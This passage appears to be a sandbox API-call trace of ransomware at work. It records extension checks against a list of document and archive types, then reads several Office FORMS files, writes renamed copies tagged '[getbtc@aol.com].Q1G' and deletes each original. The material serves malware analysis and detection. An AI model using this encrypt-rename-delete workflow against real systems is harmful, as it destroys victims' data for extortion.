1 [0263.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.213] lstrlenW (lpString=".zip") returned 4 [0263.213] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.213] lstrlenW (lpString=".rar") returned 4 [0263.213] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.213] lstrlenW (lpString=".bz2") returned 4 [0263.213] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.213] lstrlenW (lpString=".7z") returned 3 [0263.214] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString=".dbf") returned 4 [0263.214] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString=".1cd") returned 4 [0263.214] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString=".jpg") returned 4 [0263.214] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString=".doc") returned 4 [0263.214] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.214] lstrlenW (lpString=".docx") returned 5 [0263.214] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.214] lstrlenW (lpString=".pdf") returned 4 [0263.214] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.214] lstrlenW (lpString=".xls") returned 4 [0263.214] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.214] lstrlenW (lpString=".xlsx") returned 5 [0263.214] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.214] lstrlenW (lpString=".ppt") returned 4 [0263.214] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString=".zip") returned 4 [0263.214] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.214] lstrlenW (lpString=".rar") returned 4 [0263.214] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.214] lstrlenW (lpString=".bz2") returned 4 [0263.214] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.214] lstrlenW (lpString=".7z") returned 3 [0263.214] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.214] lstrlenW (lpString=".dbf") returned 4 [0263.214] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.215] lstrlenW (lpString=".1cd") returned 4 [0263.215] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0263.215] lstrlenW (lpString=".jpg") returned 4 [0263.215] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.215] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.215] lstrlenW (lpString="SCDRESNS.ICO") returned 12 [0263.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.216] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0263.216] CloseHandle (hObject=0x1f8) returned 1 [0263.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico")) returned 0x20 [0263.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.217] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.217] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.220] GetLastError () returned 0x0 [0263.220] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.222] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.223] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.223] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.223] SetEndOfFile (hFile=0x39c) returned 1 [0263.223] CloseHandle (hObject=0x39c) returned 1 [0263.223] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.223] SetEndOfFile (hFile=0x1f8) returned 1 [0263.225] CloseHandle (hObject=0x1f8) returned 1 [0263.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico")) returned 1 [0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.226] lstrlenW (lpString=".doc") returned 4 [0263.226] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.226] lstrlenW (lpString=".docx") returned 5 [0263.226] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.226] lstrlenW (lpString=".pdf") returned 4 [0263.226] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.226] lstrlenW (lpString=".xls") returned 4 [0263.226] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.226] lstrlenW (lpString=".xlsx") returned 5 [0263.226] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.226] lstrlenW (lpString=".ppt") returned 4 [0263.226] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.226] lstrlenW (lpString=".zip") returned 4 [0263.226] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.226] lstrlenW (lpString=".rar") returned 4 [0263.226] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.226] lstrlenW (lpString=".bz2") returned 4 [0263.226] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.226] lstrlenW (lpString=".7z") returned 3 [0263.226] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString=".dbf") returned 4 [0263.227] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString=".1cd") returned 4 [0263.227] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString=".jpg") returned 4 [0263.227] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString=".doc") returned 4 [0263.227] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.227] lstrlenW (lpString=".docx") returned 5 [0263.227] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.227] lstrlenW (lpString=".pdf") returned 4 [0263.227] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.227] lstrlenW (lpString=".xls") returned 4 [0263.227] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.227] lstrlenW (lpString=".xlsx") returned 5 [0263.227] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.227] lstrlenW (lpString=".ppt") returned 4 [0263.227] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString=".zip") returned 4 [0263.227] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.227] lstrlenW (lpString=".rar") returned 4 [0263.227] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.227] lstrlenW (lpString=".bz2") returned 4 [0263.227] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.227] lstrlenW (lpString=".7z") returned 3 [0263.227] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.227] lstrlenW (lpString=".dbf") returned 4 [0263.227] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.228] lstrlenW (lpString=".1cd") returned 4 [0263.228] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO") returned 66 [0263.228] lstrlenW (lpString=".jpg") returned 4 [0263.228] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.228] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.228] lstrlenW (lpString="SCDRESPL.ICO") returned 12 [0263.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.228] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0263.228] CloseHandle (hObject=0x1f8) returned 1 [0263.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico")) returned 0x20 [0263.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.229] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.229] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.230] GetLastError () returned 0x0 [0263.230] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0263.232] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.233] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.233] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.233] SetEndOfFile (hFile=0x39c) returned 1 [0263.233] CloseHandle (hObject=0x39c) returned 1 [0263.233] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.233] SetEndOfFile (hFile=0x1f8) returned 1 [0263.235] CloseHandle (hObject=0x1f8) returned 1 [0263.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico")) returned 1 [0263.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.610] lstrlenW (lpString=".doc") returned 4 [0263.610] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.610] lstrlenW (lpString=".docx") returned 5 [0263.610] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.610] lstrlenW (lpString=".pdf") returned 4 [0263.610] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.610] lstrlenW (lpString=".xls") returned 4 [0263.610] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString=".xlsx") returned 5 [0263.611] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.611] lstrlenW (lpString=".ppt") returned 4 [0263.611] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.611] lstrlenW (lpString=".zip") returned 4 [0263.611] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString=".rar") returned 4 [0263.611] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString=".bz2") returned 4 [0263.611] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.611] lstrlenW (lpString=".7z") returned 3 [0263.611] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.611] lstrlenW (lpString=".dbf") returned 4 [0263.611] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.611] lstrlenW (lpString=".1cd") returned 4 [0263.611] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.611] lstrlenW (lpString=".jpg") returned 4 [0263.611] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.611] lstrlenW (lpString=".doc") returned 4 [0263.611] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.611] lstrlenW (lpString=".docx") returned 5 [0263.611] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.611] lstrlenW (lpString=".pdf") returned 4 [0263.611] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString=".xls") returned 4 [0263.611] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.611] lstrlenW (lpString=".xlsx") returned 5 [0263.611] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.612] lstrlenW (lpString=".ppt") returned 4 [0263.612] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.612] lstrlenW (lpString=".zip") returned 4 [0263.612] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.612] lstrlenW (lpString=".rar") returned 4 [0263.612] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.612] lstrlenW (lpString=".bz2") returned 4 [0263.612] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.612] lstrlenW (lpString=".7z") returned 3 [0263.612] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.612] lstrlenW (lpString=".dbf") returned 4 [0263.612] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.612] lstrlenW (lpString=".1cd") returned 4 [0263.612] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO") returned 66 [0263.612] lstrlenW (lpString=".jpg") returned 4 [0263.612] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.612] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.612] lstrlenW (lpString="SIGN.CFG") returned 8 [0263.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.837] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=664) returned 1 [0263.837] CloseHandle (hObject=0x37c) returned 1 [0263.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg")) returned 0x20 [0263.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.902] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.902] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.903] GetLastError () returned 0x0 [0263.903] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x298, lpOverlapped=0x0) returned 1 [0263.903] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0263.904] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.904] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0263.904] SetEndOfFile (hFile=0x3dc) returned 1 [0263.904] CloseHandle (hObject=0x3dc) returned 1 [0263.905] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.905] SetEndOfFile (hFile=0x1c0) returned 1 [0263.907] CloseHandle (hObject=0x1c0) returned 1 [0263.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg")) returned 1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString=".doc") returned 4 [0263.908] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString=".docx") returned 5 [0263.908] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0263.908] lstrlenW (lpString=".pdf") returned 4 [0263.908] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString=".xls") returned 4 [0263.908] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString=".xlsx") returned 5 [0263.908] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0263.908] lstrlenW (lpString=".ppt") returned 4 [0263.908] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned 62 [0263.908] lstrlenW (lpString=".zip") returned 4 [0263.908] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString=".rar") returned 4 [0263.908] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.908] lstrlenW (lpString=".bz2") returned 4 [0263.908] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.908] lstrlenW 